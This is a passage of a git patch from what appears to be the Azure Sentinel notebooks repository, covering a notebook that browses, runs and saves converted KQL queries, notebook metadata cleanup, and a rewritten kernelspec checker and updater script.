layout=Layout(width='100%', height='250px', visiblity='hidden'),\n", + " disabled=False)\n", + "\n", + "query_text_w.layout.visibility = 'hidden'\n", + "orig_text_w.layout.visibility = 'hidden'\n", + "sub_cats_w.observe(on_cat_value_change, names='value')\n", + "queries_w.observe(on_query_value_change, names='value')\n", + "\n", + "view_qry_check = widgets.Checkbox(description=\"View query\", value=True)\n", + "add_date_filter_check = widgets.Checkbox(description=\"Add date filter\", value=False)\n", + "add_host_filter_check = widgets.Checkbox(description=\"Add host filter\", value=False)\n", + "\n", + "view_qry_check.observe(on_view_query_value_change, names='value')\n", + "add_date_filter_check.observe(on_view_query_value_change, names='value')\n", + "add_host_filter_check.observe(on_view_query_value_change, names='value')\n", + "# view_qry_button.on_click(click_exec_hqry)\n", + "# display(exec_hqry_button);\n", + "\n", + "vbox_opts = widgets.VBox([view_qry_check, add_date_filter_check, add_host_filter_check])\n", + "hbox = widgets.HBox([sub_cats_w, queries_w, vbox_opts])\n", + "vbox = widgets.VBox([hbox, orig_text_w, query_text_w])\n", + "on_view_query_value_change(None)\n", + "display(vbox)" + ], + "outputs": [], + "execution_count": null, + "metadata": { + "scrolled": false, + "collapsed": false + } + }, + { + "cell_type": "markdown", + "source": [ + "## Click the `Execute query` button below to run the currently display query\n", + "**Notes:**\n", + "- To run the queries, first authenticate to Azure Sentinel\n", + "- If you added a date filter to the query set the date range below in the control below" + ], + "metadata": {} + }, + { + "cell_type": "markdown", + "source": [ + "### Authenticate to Azure Sentinel and Set Query Time bounds" + ], + "metadata": {} + }, + { + "cell_type": "code", + "source": [ + "from msticpy.nbtools.nbwidgets import QueryTime\r\n", + "from IPython.display import display\r\n", + "from msticpy.data import QueryProvider\r\n", + "from msticpy.common.wsconfig import WorkspaceConfig\r\n", + "ws_config = WorkspaceConfig()\r\n", + "qry_prov = QueryProvider(\"LogAnalytics\")\r\n", + "qry_prov.connect(ws_config.code_connect_str)\r\n", + "\r\n", + "exec_hqry_button = widgets.Button(description=\"Execute Query\")\r\n", + "exec_hqry_button.on_click(exec_query_btn)\r\n", + "\r\n", + "qry_wgt = QueryTime(units='days', before=5, after=0, max_before=30, max_after=10)\r\n", + "\r\n", + "vbox = widgets.VBox([exec_hqry_button, out_wgt])\r\n", + "display(qry_wgt)" + ], + "outputs": [], + "execution_count": null, + "metadata": { + "collapsed": true, + "jupyter": { + "source_hidden": false, + "outputs_hidden": false + }, + "nteract": { + "transient": { + "deleting": false + } + } + } + }, + { + "cell_type": "markdown", + "source": [ + "### Execute the Query" + ], + "metadata": { + "nteract": { + "transient": { + "deleting": false + } + } + } + }, + { + "cell_type": "code", + "source": [ + "def clean_kql_comments(query_string):\r\n", + " \"\"\"Cleans\"\"\"\r\n", + " import re\r\n", + " return re.sub(r'(//[^\\n]+)', '', query_string, re.MULTILINE).replace('\\n', '').strip()\r\n", + "\r\n", + "def execute_kql_query(query_string):\r\n", + " if not query_string or len(query_string.strip()) == 0:\r\n", + " print('No query supplied')\r\n", + " return None\r\n", + " src_query = clean_kql_comments(query_string)\r\n", + " src_query = src_query.format(start=qry_wgt.start, end=qry_wgt.end)\r\n", + " result = qry_prov.exec_query(src_query)\r\n", + " \r\n", + " return result\r\n", + "\r\n", + "disp_result = display(display_id=True)\r\n", + "\r\n", + "def exec_query_btn(btn):\r\n", + " query = query_text_w.value\r\n", + " result = execute_kql_query(query)\r\n", + " disp_result.update(result)\r\n", + "\r\n", + "display(exec_hqry_button)" + ], + "outputs": [], + "execution_count": null, + "metadata": { + "scrolled": true + } + }, + { + "cell_type": "markdown", + "source": [ + "## Save All Converted Files" + ], + "metadata": {} + }, + { + "cell_type": "code", + "source": [ + "path_save_wgt = widgets.Text(value=str(def_path) + \"_kql_out\",\n", + " description='Path to save KQL files: ',\n", + " layout=Layout(width='50%'),\n", + " style={'description_width': 'initial'})\n", + "path_save_wgt" + ], + "outputs": [], + "execution_count": null, + "metadata": {} + }, + { + "cell_type": "code", + "source": [ + "root = Path(path_save_wgt.value)\n", + "root.mkdir(exist_ok=True)\n", + "for categ, kql_files in kql_dict.items():\n", + " sub_dir = root.joinpath(categ)\n", + " \n", + " for file_name, contents in kql_files.items():\n", + " kql_txt = contents[1]\n", + " if not kql_txt == NOT_CONVERTIBLE:\n", + " sub_dir.mkdir(exist_ok=True)\n", + " file_path = sub_dir.joinpath(file_name.replace('.yml', '.kql'))\n", + " with open(file_path, 'w') as output_file:\n", + " output_file.write(kql_txt)\n", + " print(f\"Saved {file_path}\")\n" + ], + "outputs": [], + "execution_count": null, + "metadata": {} } - }, - "types_to_exclude": [ - "module", - "function", - "builtin_function_or_method", - "instance", - "_Feature" - ], - "window_display": false - } - }, - "nbformat": 4, - "nbformat_minor": 2 -} + ], + "metadata": { + "hide_input": false, + "kernelspec": { + "name": "python3-azureml", + "language": "python", + "display_name": "Python 3.6 - AzureML" + }, + "language_info": { + "name": "python", + "version": "3.6.9", + "mimetype": "text/x-python", + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "pygments_lexer": "ipython3", + "nbconvert_exporter": "python", + "file_extension": ".py" + }, + "toc": { + "toc_position": {}, + "skip_h1_title": false, + "number_sections": false, + "title_cell": "Table of Contents", + "toc_window_display": false, + "base_numbering": 1, + "toc_section_display": true, + "title_sidebar": "Contents", + "toc_cell": false, + "nav_menu": {}, + "sideBar": true + }, + "varInspector": { + "cols": { + "lenName": 16, + "lenType": 16, + "lenVar": 40 + }, + "kernels_config": { + "python": { + "delete_cmd_postfix": "", + "delete_cmd_prefix": "del ", + "library": "var_list.py", + "varRefreshCmd": "print(var_dic_list())" + }, + "r": { + "delete_cmd_postfix": ") ", + "delete_cmd_prefix": "rm(", + "library": "var_list.r", + "varRefreshCmd": "cat(var_dic_list()) " + } + }, + "types_to_exclude": [ + "module", + "function", + "builtin_function_or_method", + "instance", + "_Feature" + ], + "window_display": false + }, + "kernel_info": { + "name": "python3-azureml" + }, + "nteract": { + "version": "nteract-front-end@1.0.0" + } + }, + "nbformat": 4, + "nbformat_minor": 2 +} \ No newline at end of file diff --git a/TroubleShootingNotebooks.ipynb b/TroubleShootingNotebooks.ipynb index ebb1cf96..c0bd9751 100644 --- a/TroubleShootingNotebooks.ipynb +++ b/TroubleShootingNotebooks.ipynb @@ -33,12 +33,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-02-27T00:34:21.030512Z", - "start_time": "2020-02-27T00:34:21.016520Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "import sys\n", @@ -98,13 +93,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-02-27T00:34:26.670210Z", - "start_time": "2020-02-27T00:34:21.032510Z" - }, - "scrolled": true - }, + "metadata": {}, "outputs": [], "source": [ "import importlib\n", @@ -164,12 +153,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-02-27T00:34:26.683205Z", - "start_time": "2020-02-27T00:34:26.671186Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "display(Markdown(\"#### Checking pandas...\"))\n", @@ -204,12 +188,7 @@ }, { "cell_type": "markdown", - "metadata": { - "ExecuteTime": { - "end_time": "2020-02-24T19:41:28.539607Z", - "start_time": "2020-02-24T19:41:28.536637Z" - } - }, + "metadata": {}, "source": [ "## Workspace Configuration Check\n", "\n", @@ -275,13 +254,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-02-27T00:34:26.714184Z", - "start_time": "2020-02-27T00:34:26.684179Z" - }, - "scrolled": true - }, + "metadata": {}, "outputs": [], "source": [ "import os\n", @@ -370,12 +343,7 @@ }, { "cell_type": "markdown", - "metadata": { - "ExecuteTime": { - "end_time": "2020-02-24T19:41:42.199685Z", - "start_time": "2020-02-24T19:41:42.196662Z" - } - }, + "metadata": {}, "source": [ "# msticpy Configuration\n", "\n", @@ -399,13 +367,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-02-27T00:34:26.742145Z", - "start_time": "2020-02-27T00:34:26.715162Z" - }, - "scrolled": true - }, + "metadata": {}, "outputs": [], "source": [ "import os\n", @@ -483,12 +445,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-02-27T00:34:26.758139Z", - "start_time": "2020-02-27T00:34:26.745144Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "if errors:\n", From 8c066384e91b90fafd85eaa8dfeb9964ca21d555 Mon Sep 17 00:00:00 2001 From: Ian Hellen Date: Sun, 28 Jun 2020 17:41:50 -0700 Subject: [PATCH 23/23] Notebook kernel checker/updater --- utils/check_nb_kernel.py | 241 +++++++++++++++++++++++++++++++-------- 1 file changed, 194 insertions(+), 47 deletions(-) diff --git a/utils/check_nb_kernel.py b/utils/check_nb_kernel.py index bfbba57e..5c6a65fb 100644 --- a/utils/check_nb_kernel.py +++ b/utils/check_nb_kernel.py @@ -1,70 +1,217 @@ +# ------------------------------------------------------------------------- +# Copyright (c) Microsoft Corporation. All rights reserved. +# Licensed under the MIT License. See License.txt in the project root for +# license information. +# -------------------------------------------------------------------------- +""" +Checker/Updater for Notebook kernelspec versions. + +check_nb_kernel.py CMD [-h] [--path PATH] [--target TARGET] [--verbose] + +CMD is one of: + {check, list, update} (default is "check") + + list - shows list of internal kernelspecs that can be used + check - checks the notebook or notebooks for comformance to kernspecs + update - updates notebook or notebooks to target kernelspec + +optional arguments: + -h, --help show this help message and exit + --path PATH, -p PATH Path search for notebooks. Can be a single file, + a directory path or a 'glob'-compatible wildcard. + (e.g. "*" for all files in current folder, "**/*" + for all files in folder and subfolders) + Defaults to current directory. + --target TARGET, -t TARGET + Target kernel spec to check or set. + Required for 'update' command + --verbose, -v Show details of all checked notebooks. Otherwise + only list notebooks with errors or updated notebooks. + +Notes +----- + +If CMD is 'update' you must specify a kernelspec target. The updated +notebook is written to the same name as the input. The old version is +saved as {input-notebook-name}.{previous-kernelspec-name} +If CMD is 'view', target is optional and it reports any notebooks +with kernelspecs different to internal kernelspecs (view with 'list' command) +as errors. + +""" import argparse from pathlib import Path +from typing import Optional, Iterable +import sys + import nbformat -PY36_KERNEL = {"name": ["python36", "python3"], "display_name": ["Python 3.6", "Python 3"], 'language': 'python'} -IP_KERNEL_SPEC = {"python36": {"name": "python36", "display_name": "Python 3.6", "language": "python"} +IP_KERNEL_SPEC = { + "python36": { + "name": "python36", + "language": "python", + "display_name": "Python 3.6", + }, + "python3": {"name": "python3", "language": "python", "display_name": "Python 3"}, + "python3-azureml": { + "name": "python3-azureml", + "language": "python", + "display_name": "Python 3.6 - AzureML", + }, +} + + +def check_notebooks(nb_path: str, k_tgts: Iterable[str], verbose: bool = False): + """Check notebooks for valid kernelspec.""" + err_count = 0 + good_count = 0 + for nbook in _get_notebook_paths(nb_path): + if ".ipynb_checkpoints" in str(nbook): + continue + nb_obj = nbformat.read(str(nbook), as_version=4.0) + kernelspec = nb_obj.get("metadata", {}).get("kernelspec", None) + if not kernelspec: + print("Error: no kernel information.") + continue + nb_ok = False + for config in k_tgts: + tgt_spec = IP_KERNEL_SPEC[config] + for k_name, k_item in kernelspec.items(): + if tgt_spec[k_name] != k_item: + break + else: + nb_ok = True + if not nb_ok: + err_count += 1 + _print_nb_header(nbook) + print("ERROR - Invalid kernelspec '" f"{kernelspec.get('name')}" "'") + print(" ", kernelspec, "\n") + continue + if verbose: + _print_nb_header(nbook) + print(f"{kernelspec['name']} ok\n") + good_count += 1 + print(f"{good_count} with no errors, {err_count} with errors") + + +def _get_notebook_paths(nb_path: str): + """Generate notebook paths.""" + if "*" in nb_path: + for glob_path in Path().glob(nb_path): + if glob_path.is_file() and glob_path.suffix.casefold() == ".ipynb": + yield glob_path + elif Path(nb_path).is_dir(): + yield from Path(nb_path).glob("*.ipynb") + elif Path(nb_path).is_file(): + yield Path(nb_path) + +def _print_nb_header(nbook_path): + print(str(nbook_path.name)) + print("-" * len(str(nbook_path.name))) + print(str(nbook_path.resolve())) -def check_notebooks(nb_path): - notebooks = Path(nb_path).glob("**/*.ipynb") - for nb_path in notebooks: - if ".ipynb_checkpoints" in str(nb_path): +def set_kernelspec(nb_path: str, k_tgt: str, verbose: bool = False): + """Update specified notebooks to `k_tgt` kernelspec.""" + changed_count = 0 + good_count = 0 + for nbook in _get_notebook_paths(nb_path): + if ".ipynb_checkpoints" in str(nbook): continue - print(str(nb_path)) - print("-" * len(str(nb_path))) - nb = nbformat.read(str(nb_path), as_version=4.0) - kernelspec = nb.get("metadata", {}).get("kernelspec", None) - nb_ok = True - for config in PY36_KERNEL: - if not kernelspec: - print("no kernel information.") - if not kernelspec[config] in PY36_KERNEL[config]: - print("Incorrect value in", config, end=". ") - print(f"Should be: '{PY36_KERNEL[config]}' Found:'{kernelspec[config]}'") - nb_ok = False - if nb_ok: - print(f"{kernelspec['name']} ok") - else: - print() - -def set_kernelspec(nb_path): - notebooks = Path(nb_path).glob("**/*.ipynb") - - for nb_path in notebooks: - if ".ipynb_checkpoints" in str(nb_path): + with open(str(nbook), "r") as nb_read: + nb_obj = nbformat.read(nb_read, as_version=4.0) + kernelspec = nb_obj.get("metadata", {}).get("kernelspec", None) + current_kspec_name = kernelspec.get("name") + if not kernelspec: + print("Error: no kernel information.") continue - print(str(nb_path)) - print("-" * len(str(nb_path))) - nb = nbformat.read(str(nb_path), as_version=4.0) - kernelspec = nb.get("metadata", {}).get("kernelspec", None) - nb_ok = True - for config in PY36_KERNEL: - if not kernelspec: - print("no kernel information.") - if not kernelspec[config] in PY36_KERNEL[config]: - print("Incorrect value in", config, end=". ") - print(f"Should be: '{PY36_KERNEL[config]}' Found:'{kernelspec[config]}'") - nb_ok = False - if nb_ok: - print(f"{kernelspec['name']} ok") - else: - print() - + updated = False + tgt_spec = IP_KERNEL_SPEC[k_tgt] + for k_name, k_item in kernelspec.items(): + if tgt_spec[k_name] != k_item: + updated = True + kernelspec[k_name] = tgt_spec[k_name] + if updated: + changed_count += 1 + _print_nb_header(nbook) + print( + f"Kernelspec updated from '{current_kspec_name}' to '" + f"{kernelspec.get('name')}" + "'" + ) + print(" ", kernelspec, "\n") + nbook.rename(f"{str(nbook)}.{current_kspec_name}") + nbformat.write(nb_obj, str(nbook)) + continue + if verbose: + _print_nb_header(nbook) + print(f"{kernelspec['name']} ok\n") + good_count += 1 + print(f"{good_count} with no changes, {changed_count} updated") + + def _add_script_args(): parser = argparse.ArgumentParser(description="Notebook kernelspec checker.") + parser.add_argument( + "cmd", default="check", type=str, choices=["check", "list", "update"], + ) parser.add_argument( "--path", "-p", default=".", required=False, help="Path search for notebooks." ) + parser.add_argument( + "--target", "-t", required=False, help="Target kernel spec to check or set." + ) + parser.add_argument( + "--verbose", + "-v", + action="store_true", + help="Show details of all checked notebooks.", + ) return parser +def _view_targets(): + print("Valid targets:") + for kernel, settings in IP_KERNEL_SPEC.items(): + print(f"{kernel}:") + print(" ", settings) + + # pylint: disable=invalid-name if __name__ == "__main__": arg_parser = _add_script_args() args = arg_parser.parse_args() - check_notebooks(args.path) - + if args.cmd == "list": + _view_targets() + sys.exit(0) + + krnl_tgt: Optional[str] = None + if args.target: + krnl_tgt = args.target + if krnl_tgt not in IP_KERNEL_SPEC: + print("'target' must be a valid kernelspec definition") + print("Valid kernel specs:") + _view_targets() + sys.exit(1) + + if krnl_tgt is not None: + krnl_tgts = [krnl_tgt] + else: + krnl_tgts = list(IP_KERNEL_SPEC.keys()) + + if not args.path: + print("check and update commands need a 'path' parameter.") + sys.exit(1) + if args.cmd == "check": + check_notebooks(args.path, krnl_tgts, verbose=args.verbose) + sys.exit(0) + + if args.cmd == "update": + if not krnl_tgt: + print("A kernel target must be specified with 'update'.") + sys.exit(1) + set_kernelspec(args.path, krnl_tgt, verbose=args.verbose) + sys.exit(0)